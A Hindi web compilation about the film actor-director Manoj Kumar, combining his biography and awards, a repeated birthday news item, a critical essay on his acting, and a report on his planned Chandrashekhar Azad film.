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जन्म

मनोज कुमार का जन्म 24 जुलाई 1937 को पाकिस्तान के अबोटाबाद में हुआ था। उनका असली नाम हरिकिशन गिरि गोस्वामी है। देश के बंटवारे के बाद उनका परिवार राजस्थान के हनुमानगढ़ ज़िले में बस गया था।

मनोज ने कहा शहीद ए आजम का किरदार मुझमें बस गया था और मैं भगत सिंह का रूप लेना चाहता था। मैंने उनकी जिंदगी के सफर पर शोध किया। उस वक्त उन पर कोई किताब उपलब्ध नहीं थी लेकिन मेरे जुनून ने मुझे इस महान शहीद के जीवन के बंद पन्नों को खोलने में मदद की और मैं उस शहीद के किरदार में डूब गया। भगत सिंह की मां भी इस फिल्म को देखकर भावविभोर हो गई थीं। मनोज को शहीद के लिए सर्वश्रेष्ठ कहानीकार का राष्ट्रीय पुरस्कार दिया गया था। मनोज कुमार ने शहीद फिल्म में सरदार भगत सिंह की भूमिका को जीकर उस किरदार के फिल्मी रूपांतरण को भी अमर बना दिया था। मनोज ने अपने कॅरियर में शहीद, उपकार, पूरब और पश्चिम और क्रांति जैसी देशभक्ति पर आधारित अनेक बेजोड़ फिल्मों में काम किया। इसी वजह से उन्हें भारत कुमार भी कहा जाता है। शहीद के दो साल बाद उन्होंने बतौर निर्देशक अपनी पहली फिल्म उपकार का निर्माण किया। उसमें मनोज ने भारत नाम के किसान युवक का किरदार निभाया था जो परिस्थितिवश गांव की पगडंडियां छोड़कर मैदान-ए-जंग का सिपाही बन जाता है। मनोज ने बताया कि जय जवान जय किसान के नारे पर आधारित वह फिल्म उन्होंने तत्कालीन प्रधानमंत्री लाल बहादुर शास्त्री के विशेष आग्रह पर बनाई थी। उस फिल्म में गांव के आदमी के शहर की तरफ भागने, फिर वापस लौटने और उससे जुड़े सामाजिक रिश्तों की कहानी थी जिसमें उस वक्त के हालात को ज्यादा से ज्यादा समेटने की कोशिश की गई थी। उपकार खूब सराही गई और उसे सर्वश्रेष्ठ फिल्म, सर्वश्रेष्ठ निर्देशक, सर्वश्रेष्ठ कथा और सर्वश्रेष्ठ संवाद श्रेणी में फिल्मफेयर पुरस्कार मिला था। फिल्म को द्वितीय सर्वश्रेष्ठ फीचर फिल्म का राष्ट्रीय पुरस्कार तथा सर्वश्रेष्ठ संवाद का बीएफजेए अवार्ड भी दिया गया। शनिवार को अपना 73वां जन्मदिन मनाने जा रहे मनोज कुमार कहते हैं कि वह आज भी एक छात्र जैसा जिज्ञासु मन बनाकर फिल्में देखते हैं।

हरिकिशन दिलीप कुमार से बेहद प्रभावित थे और उन्होंने अपना नाम फिल्म शबनम में दिलीप के किरदार के नाम पर मनोज रख लिया था। मनोज कुमार ने वर्ष 1957 में बनी फिल्म फैशन के जरिए बड़े पर्दे पर कदम रखा। प्रमुख भूमिका की उनकी पहली फिल्म कांच की गुडि़या (1960) थी। उसके बाद उनकी दो और फिल्में पिया मिलन की आस और रेशमी रुमाल आई लेकिन उनकी पहली हिट फिल्म हरियाली और रास्ता (1962) थी। उन्होंने वो कौन थी, हिमालय की गोद में, गुमनाम, दो बदन, पत्थर के सनम, यादगार, शोर, सन्यासी, दस नम्बरी और क्लर्क जैसी अच्छी फिल्मों में काम किया। उनकी आखिरी फिल्म मैदान ए जंग (1995) थी। मनोज कुमार को वर्ष 1972 में फिल्म बेईमान के लिए सर्वश्रेष्ठ अभिनेता और वर्ष 1975 में रोटी कपड़ा और मकान के लिए सर्वश्रेष्ठ निर्देशक का फिल्मफेयर अवार्ड दिया गया था। बाद में वर्ष 1992 में उन्हें पद्मश्री पुरस्कार से नवाजा गया।


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टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख


नई दिल्ली। अपनी फिल्मों के जरिए लोगों को देशभक्ति की भावना का गहराई से एहसास कराने वाले मशहूर अभिनेता और निर्माता निर्देशक मनोज कुमार शहीद-ए-आजम भगत सिंह से बेहद प्रभावित हैं और इसी भावना ने उन्हें शहीद जैसी कालजई फिल्म में देश के इस अमर सपूत के किरदार को जीवंत करने की प्रेरणा दी थी। मनोज ने कहा शहीद ए आजम का किरदार मुझमें बस गया था और मैं भगत सिंह का रूप लेना चाहता था। मैंने उनकी जिंदगी के सफर पर शोध किया। उस वक्त उन पर कोई किताब उपलब्ध नहीं थी लेकिन मेरे जुनून ने मुझे इस महान शहीद के जीवन के बंद पन्नों को खोलने में मदद की और मैं उस शहीद के किरदार में डूब गया। भगत सिंह की मां भी इस फिल्म को देखकर भावविभोर हो गई थीं। मनोज को शहीद के लिए सर्वश्रेष्ठ कहानीकार का राष्ट्रीय पुरस्कार दिया गया था। मनोज कुमार ने शहीद फिल्म में सरदार भगत सिंह की भूमिका को जीकर उस किरदार के फिल्मी रूपांतरण को भी अमर बना दिया था। मनोज ने अपने कॅरियर में शहीद, उपकार, पूरब और पश्चिम और क्रांति जैसी देशभक्ति पर आधारित अनेक बेजोड़ फिल्मों में काम किया। इसी वजह से उन्हें भारत कुमार भी कहा जाता है। शहीद के दो साल बाद उन्होंने बतौर निर्देशक अपनी पहली फिल्म उपकार का निर्माण किया। उसमें मनोज ने भारत नाम के किसान युवक का किरदार निभाया था जो परिस्थितिवश गांव की पगडंडियां छोड़कर मैदान-ए-जंग का सिपाही बन जाता है। मनोज ने बताया कि जय जवान जय किसान के नारे पर आधारित वह फिल्म उन्होंने तत्कालीन प्रधानमंत्री लाल बहादुर शास्त्री के विशेष आग्रह पर बनाई थी। उस फिल्म में गांव के आदमी के शहर की तरफ भागने, फिर वापस लौटने और उससे जुड़े सामाजिक रिश्तों की कहानी थी जिसमें उस वक्त के हालात को ज्यादा से ज्यादा समेटने की कोशिश की गई थी। उपकार खूब सराही गई और उसे सर्वश्रेष्ठ फिल्म, सर्वश्रेष्ठ निर्देशक, सर्वश्रेष्ठ कथा और सर्वश्रेष्ठ संवाद श्रेणी में फिल्मफेयर पुरस्कार मिला था। फिल्म को द्वितीय सर्वश्रेष्ठ फीचर फिल्म का राष्ट्रीय पुरस्कार तथा सर्वश्रेष्ठ संवाद का बीएफजेए अवार्ड भी दिया गया। शनिवार को अपना 73वां जन्मदिन मनाने जा रहे मनोज कुमार कहते हैं कि वह आज भी एक छात्र जैसा जिज्ञासु मन बनाकर फिल्में देखते हैं। मनोज कुमार का जन्म 24 जुलाई 1937 को मौजूदा पाकिस्तान के अबोटाबाद में हुआ था। उनका असली नाम हरिकिशन गिरि गोस्वामी है। देश के बंटवारे के बाद उनका परिवार राजस्थान के हनुमानगढ़ जिले में बस गया था। हरिकिशन दिलीप कुमार से बेहद प्रभावित थे और उन्होंने अपना नाम फिल्म शबनम में दिलीप के किरदार के नाम पर मनोज रख लिया था। मनोज कुमार ने वर्ष 1957 में बनी फिल्म फैशन के जरिए बड़े पर्दे पर कदम रखा। प्रमुख भूमिका की उनकी पहली फिल्म कांच की गुडि़या (1960) थी। उसके बाद उनकी दो और फिल्में पिया मिलन की आस और रेशमी रुमाल आई लेकिन उनकी पहली हिट फिल्म हरियाली और रास्ता (1962) थी। उन्होंने वो कौन थी, हिमालय की गोद में, गुमनाम, दो बदन, पत्थर के सनम, यादगार, शोर, सन्यासी, दस नम्बरी और क्लर्क जैसी अच्छी फिल्मों में काम किया। उनकी आखिरी फिल्म मैदान ए जंग (1995) थी। मनोज कुमार को वर्ष 1972 में फिल्म बेईमान के लिए सर्वश्रेष्ठ अभिनेता और वर्ष 1975 में रोटी कपड़ा और मकान के लिए सर्वश्रेष्ठ निर्देशक का फिल्मफेयर अवार्ड दिया गया था। बाद में वर्ष 1992 में उन्हें पद्मश्री पुरस्कार से नवाजा गया।

लोग उन्हें भूल चुके थे लेकिन शाहरुख खान की हिट फिल्म ओम शांति ओम की वजह से वे फिर से सुर्खियों में आ गए थे। कारण यह था कि इस फिल्म में उनका मजाक उड़ाया गया था। यह विवाद कुछ दिनों तक चला और शाहरुख खान तथा फराह खान ने इसके लिए स्पष्टीकरण दिया था कि उनकी यह मंशा कतई नहीं थी। फिर उस विवाद पर धूल चढ़ गई और लोग भूल गए।

फालके रत्न पुरस्कार के कारण मनोज कुमार एक बार फिर सुर्खियों में हैं। मनोज कुमार उर्फ भारत कुमार। अपनी फिल्मों में उन्होंने भारतीयता की खोज की। उन्होंने यह भी बताया कि देशप्रेम और देशभक्ति क्या होती है। उन्होंने आँसूतोड़ फिल्में बनाईं और मुनाफे से ज्यादा अपना नाम कमाया जिसके कारण वे भारत कुमार कहलाए।

यह किसी भी अभिनेता के लिए कितना दुर्भाग्यपूर्ण हो सकता है कि वह अपने अभिनय के कारण नहीं बल्कि अन्य कारणों से जाना जाए। मनोज कुमार ऐसे ही अभिनेता हैं जो अपनी देशभक्तिपूर्ण फिल्मों के कारण जाने जाते हैं, अपने अभिनय के कारण नहीं।

दिलीप कुमार ट्रेजिडी किंग इसलिए कहलाए कि उन्होंने अपनी फिल्मों में एक उदास, दुःखी और हमेशा असफल, अवसाद से भरे प्रेमी की भूमिकाएँ की। एक बार हिंदी के ख्यात कवि विष्णु खरे ने उन्हें सन्नाटा बुनने वाला अभिनेता कहा था। यानी वे अपनी देहभाषा से, उठने-बैठने और देखने के खामोश तरीके से, अपने फेशियल एक्सप्रेशन से किसी खास मनःस्थिति को इतने भावपूर्ण ढंग से अभिव्यक्त करते थे कि संवाद की जरूरत नहीं थी। वे परदे पर अपनी खामोशी से ऐसा अभिनय करते थे कि सन्नाटा पसर जाता था जिसमें दर्शक एक प्रेमी के दुःख की तमाम आवाजें सुन लिया करते थे। अपने अभिनय कौशल और कल्पनाशीलता से, अपनी खास संवाद अदायगी से, अपनी आवाज के बेहतर इस्तेमाल से दिलीप कुमार से यह संभव कर दिखाया था।

लेकिन मनोज कुमार जाने जाते हैं अपनी देशभक्तिपूर्ण फिल्मों की वजह से। आप दिलीप कुमार का नाम लेंगे तो इसके साथ ही आपके जेहन में उनकी अभिनीत फिल्में और भूमिकाएँ एकाएक याद आ जाएँगी। इसी तरह से राज कपूर को भी याद किया जा सकता है। राज कपूर अपनी फिल्मों की कथावस्तु के कारण ही नहीं, अपनी फिल्मों के गीत-संगीत के कारण ही नहीं, बल्कि अपने एक निर्दोष, भोले और दिल को छू जाने वाली सहज आत्मीयता और मानवीयता के कारण याद आ जाते हैं। इसका सबसे बड़ा कारण उनका अभिनय ही है। लेकिन यही बात मनोज कुमार के बारे में नहीं की जा सकती।

मनोज कुमार का नाम लेंगे तो उनकी फिल्में याद आएँगी लेकिन उनके अभिनय के कारण नहीं, इसके कारण दूसरे होंगे। यानी मनोज कुमार अपने अभिनय के कारण नहीं बल्कि अपनी फिल्मों की कथावस्तु के कारण याद आते हैं। शहीद से लेकर उपकार तक, पूरब-पश्चिम से लेकर क्रांति तक।

फिर जब मैं मनोज कुमार को याद करता हूँ तो मुझे उनसे ज्यादा उनकी फिल्मों के दूसरे चरित्र ज्यादा याद आते हैं जो उनसे ज्यादा सशक्त दिखाई देते हैं। उनकी सबसे ज्यादा लोकप्रिय फिल्म उपकार का उदाहरण लीजिए। मैं जब भी उपकार को याद करता हूँ मुझे मनोज कुमार नहीं प्राण ज्यादा याद आते हैं। आप भी तुरंत याद कर सकते हैं। वह ईमानदार, भावुक, साहसी और अपंग चरित्र। यही अपंग चरित्र पूरी फिल्म में जेहन से अपंग लोगों को बताता है कि मानवीयता क्या होती है, मूल्य क्या होते हैं और रिश्तों का अर्थ क्या होता है?

इसी तरह से शोर में आपको मनोज कुमार से ज्यादा जया भादुड़ी का चरित्र याद आएगा। संन्यासी को याद करेंगे तो हेमा मालिनी या प्रेमनाथ याद आएँगे। पूरब-पश्चिम को याद करेंगे तो सायरा बानो याद आएँगी। रोटी कपड़ा मकान को याद करेंगे तो जीनत अमान याद आएँगी और क्रांति को याद करेंगे तो दिलीप कुमार याद आएँगे। मनोज कुमार शायद याद न आएँ।

मनोज कुमार याद क्यों नहीं आते, इसके कुछ और भी कारण हैं। जैसे उनकी फिल्मों का गीत-संगीत। आप उपकार की याद करिये तो मुझे मन्ना डे का वह कालजयी गाना याद आता है- कसमें वादे प्यार वफा सब, बातें हैं बातों का क्या... कितना ताकतवर बोल हैं, और कैसी कशिशभरी आवाज और क्या विरल धुन। और इसी फिल्म का वह गीत जो आजादी की हर वर्षगाँठ पर बजता है-मेरे देश की धरती सोना उगले, उगले हीरे मोती, मेरे देश की धरती। आपको महेंद्र कपूर याद आएँगे जो यह गाना गाकर हमेशा के लिए अमर हो गए।

फिर पूरब-पश्चिम का वह प्रेम गीत- कोई जब तुम्हारा हृदय तोड़ दे, तड़पता हुआ जब कोई छोड़ दे, तब तुम मेरे पास आना प्रिये, मेरा दर खुला है खुला ही रहेगा तुम्हारे लिए। आवाज है मुकेश की। एक दर्दीला गीत। जेहन में हमेशा ठहरा हुआ। और रोटी कपड़ा और मकान के गीत भी याद किए जा सकते हैं। हाय-हाय ये मजबूरी, ये मौसम और ये दूरी..., तेरी दो टकियों की नौकरी में मेरा लाखों का सावन जाए। और वह युगल गीत भी जिसके बोल हैं-मैं ना भूलूँगा, मैं ना भूलूँगी। इसके बाद शोर फिल्म को याद करिये। आपको याद आएँगे उसके बेहतरीन गीत। संतोष आनंद के लिखे गीत-एक प्यार का नगमा है, मौजों की रवानी है, जिंदगी और कुछ भी नहीं, तेरी-मेरी कहानी है। मनोजकुमार की फिल्मों के हिट गीतों की लंबी फेहरिस्त बनाई जा सकती है लेकिन उनकी लाजवाब भूमिकाओं की नहीं।

शायद इसीलिए मुझे मनोज कुमार याद नहीं आते। याद आते हैं तो सिर्फ इसलिए कि अभिनय के नाम पर वे अपना चेहरा छिपाते हैं।

भारतीय सिनेमा में देशभक्ति की कुछ सबसे बड़ी फ़िल्में बनाने वाले मनोज कुमार अब स्वंत्रतता सेनानी चंद्रशेखर आज़ाद पर फ़िल्म बनाने जा रहे हैं. फ़िलहाल वो इसकी पटकथा लिखने में व्यस्त हैं.

मनोज कुमार जिस अगली फ़िल्म का निर्देशन करने जा रहे हैं उसको उन्होंने नाम दिया है – आख़िरी गोली, द लास्ट बुलेट. बतौर निर्देशक उन्होंने अपनी अंतिम फ़िल्म ‘जय हिंद’ 1999 में बनाई थी.

उन्होंने बीबीसी को बताया कि आख़िरी गोली में प्रमुख किरदार चंद्रशेखर आज़ाद का होगा.

मनोज कुमार ने कहा, मैंने हाल ही में कहीं पढ़ा है कि कुछ पाठ्य पुस्तकों में चंद्रशेखर आज़ाद को आतंकवादी कहा गया है, मैं इस बात से बेहद दुखी हुआ.

मनोज कुमार ने कहा कि वो अपनी फ़िल्म के लिए नए कलाकारों को ही लेंगे क्योंकि आजकल तो बड़े स्टार्स करोड़ों रुपए ले रहे हैं.

शास्त्री पर फ़िल्म

वो पूर्व प्रधानमंत्री लाल बहादुर शास्त्री की जीवन आधारित एक फ़िल्म की पटकथा भी लिख रहे हैं.

मैंने हाल ही में कहीं पढ़ा है कि कुछ पाठ्य पुस्तकों में चंद्रशेखर आज़ाद को आतंकवादी कहा गया है, मैं इस बात से बेहद दुखी हुआ. मनोज कुमार मनोज कुमार ने बीबीसी को बताया कि लाल बहादुर शास्त्री के पुत्र अनिल और सुनील शास्त्री चाहते हैं कि वो ये कहानी लिखें.

मनोज कुमार ने कहा, मैंने आजतक आधिकारिक तौर किसी के लिए फ़िल्म नहीं लिखी. मुझे ये बात अच्छी लगी की निर्माता एक महान प्रधानमंत्री पर फ़िल्म बना रहे हैं. दूसरा शास्त्री परिवार से मेरा बिल्कुल पारिवारिक संबंध है.

मनोज कुमार ने कुछ बड़ी और सुपरहिट फ़िल्में बनाईं हैं और उनमें ख़ुद अभिनय भी किया था.

उपकार, पूरब और पश्चिम और रोटी कपड़ा और मकान में उन्होंने निर्देशक और अभिनेता दोनों की भूमिका निभाई थी.

दरअसल 1967 में आई ‘उपकार’ लाल बहादुर शास्त्री के प्रसिद्ध नारे ‘जय जवान जय किसान’ से प्रेरित फ़िल्म थी


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टीका टिप्पणी और संदर्भ

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